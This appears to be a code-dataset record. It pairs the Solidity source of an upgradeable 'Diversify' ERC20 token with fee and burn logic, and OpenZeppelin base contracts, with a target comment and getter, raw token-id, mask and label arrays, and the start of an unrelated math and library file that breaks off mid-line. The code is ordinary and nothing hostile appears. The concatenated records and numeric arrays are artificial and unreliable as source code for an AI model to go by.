// SPDX-License-Identifier: MIT pragma solidity =0.8.4; import '@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol'; import '@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol'; import '../interfaces/IERC20UpgradeableBurnable.sol'; /** * @title Contract for the ERC20 Diversify token * @author Diversify.io * @notice This contract handles the implementation fo the Diversify token */ contract UpgradableDiversify_V1 is Initializable, ERC20Upgradeable, OwnableUpgradeable, IERC20UpgradeableBurnable { // Foundation Events event FoundationChanged(address indexed previousAddress, address indexed newAddress); event FoundationRateChanged(uint256 previousRate, uint256 newRate); // Community Events event CommunityChanged(address indexed previousAddress, address indexed newAddress); event CommunityRateChanged(uint256 previousRate, uint256 newRate); // Immutable burn stop supply uint256 private constant BURN_STOP_SUPPLY = 45000000 * 10**18; // the address of the foundation address private _foundation; // the rate that goes to the foundation per transaction uint256 private _foundationRate; // the address of the community address private _community; // the rate that goes to the community per transaction uint256 private _communityRate; // total burned amount uint256 private _amountBurned; // total amount transfered to foundation uint256 private _amountFounded; // total amount transfered to community uint256 private _amountCommunity; /** * Initialize */ function initialize( address[] memory addresses, uint256[] memory amounts, address foundation_, address community_ ) public initializer { __ERC20_init('Diversify', 'DIV'); __Ownable_init(); // loop through the addresses array and send tokens to each address // the corresponding amount to sent is taken from the amounts array for (uint8 i = 0; i < addresses.length; i++) { _mint(addresses[i], amounts[i] * 10**18); } // Set foundation rate (25 basis points = 0.25 pct) _foundationRate = 25; _foundation = foundation_; // Set community rate (100 basis points = 1 pct) _communityRate = 100; _community = community_; } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual override returns (bool) { _burn(_msgSender(), amount); return true; } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual override returns (bool) { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, 'ERC20: burn amount exceeds allowance'); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); return true; } /** * @dev Returns the address of the community. */ function community() public view returns (address) { return _community; } /** * @dev Returns the address of the foundation. */ function foundation() public view returns (address) { return _foundation; } /** * @dev Returns the rate of the community. */ function communityRate() public view returns (uint256) { return _communityRate; } /** * @dev Returns the rate of the foundation. */ function foundationRate() public view returns (uint256) { return _foundationRate; } /** * @dev Returns the amount of tokens transfered to community */ function amountCommunity() public view returns (uint256) { return _amountCommunity; } /** * @dev Returns the amount of tokens, transfered to the foundation */ function amountFounded() public view returns (uint256) { return _amountFounded; } /** * @dev Returns the amount of burned tokens */ function amountBurned() public view returns (uint256) { return _amountBurned; } /** * @dev Sets the address of the foundation wallet. */ function setFoundation(address newAddress) public onlyOwner { address oldWallet = _foundation; _foundation = newAddress; emit FoundationChanged(oldWallet, newAddress); } /** * @dev Sets the foundation rate, maximal allowance of 250 basis points (2.5 pct) */ function setFoundationRate(uint256 newRate) public onlyOwner { require(newRate > 0 && newRate <= 250); uint256 oldRate = _foundationRate; _foundationRate = newRate; emit FoundationRateChanged(oldRate, newRate); } /** * @dev Sets the address of the community wallet. */ function setCommunity(address newAddress) public onlyOwner { address oldCommunity = _community; _community = newAddress; emit CommunityChanged(oldCommunity, newAddress); } /** * @dev Sets the comunity rate, maximal allowance of 250 basis points (2.5 pct) */ function setCommunityRate(uint256 newRate) public onlyOwner { require(newRate > 0 && newRate <= 250); uint256 oldRate = _communityRate; _communityRate = newRate; emit CommunityRateChanged(oldRate, newRate); } /** * @dev Returns the burn stop supply. */ function burnStopSupply() public pure returns (uint256) { return BURN_STOP_SUPPLY; } /** * Extend transfer with limit burn, foundation and community */ function _transfer( address from, address to, uint256 value ) internal override { uint256 tFound = (value * _foundationRate) / 10**4; uint256 tCommunity = (value * _communityRate) / 10**4; uint256 tBurn = 0; // Burn if (totalSupply() != BURN_STOP_SUPPLY) { tBurn = value / 100; // 1 pct per transaction // Reduce burn amount to burn limit if (totalSupply() < BURN_STOP_SUPPLY + value) { tBurn = totalSupply() - BURN_STOP_SUPPLY; } _burn(from, tBurn); } // Transfer to foundation, community and receiver super._transfer(from, _foundation, tFound); super._transfer(from, _community, tCommunity); super._transfer(from, to, value - tFound - tCommunity - tBurn); // Update amounts _amountFounded += tFound; _amountCommunity += tCommunity; } /** * Extend burn with burn limit */ function _burn(address account, uint256 amount) internal override { require(!(totalSupply() < BURN_STOP_SUPPLY + amount), 'burn overreaches burn stop supply'); super._burn(account, amount); _amountBurned += amount; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20Upgradeable.sol"; import "./extensions/IERC20MetadataUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} uint256[45] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity =0.8.4; import '@openzeppelin/contracts-upgradeable/interfaces/IERC20Upgradeable.sol'; /** * Wrapper around IERC20 to interact with burn function */ interface IERC20UpgradeableBurnable is IERC20Upgradeable { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) external returns (bool); /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20MetadataUpgradeable is IERC20Upgradeable { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../token/ERC20/IERC20Upgradeable.sol";
* @dev Returns the rate of the foundation./
function foundationRate() public view returns (uint256) { return _foundationRate; }
1,095,692
[ 1, 1356, 326, 4993, 434, 326, 1392, 367, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1392, 367, 4727, 1435, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 389, 30493, 4727, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File contracts/libraries/SafeMath.sol // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } } // File contracts/libraries/Address.sol pragma solidity 0.7.5; library Address { function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } // File contracts/interfaces/IERC20.sol pragma solidity 0.7.5; interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File contracts/libraries/SafeERC20.sol pragma solidity 0.7.5; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File contracts/libraries/FullMath.sol pragma solidity 0.7.5; library FullMath { function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) { uint256 mm = mulmod(x, y, uint256(-1)); l = x * y; h = mm - l; if (mm < l) h -= 1; } function fullDiv( uint256 l, uint256 h, uint256 d ) private pure returns (uint256) { uint256 pow2 = d & -d; d /= pow2; l /= pow2; l += h * ((-pow2) / pow2 + 1); uint256 r = 1; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; return l * r; } function mulDiv( uint256 x, uint256 y, uint256 d ) internal pure returns (uint256) { (uint256 l, uint256 h) = fullMul(x, y); uint256 mm = mulmod(x, y, d); if (mm > l) h -= 1; l -= mm; require(h < d, 'FullMath::mulDiv: overflow'); return fullDiv(l, h, d); } } // File contracts/libraries/FixedPoint.sol pragma solidity 0.7.5; library Babylonian { function sqrt(uint256 x) internal pure returns (uint256) { if (x == 0) return 0; uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 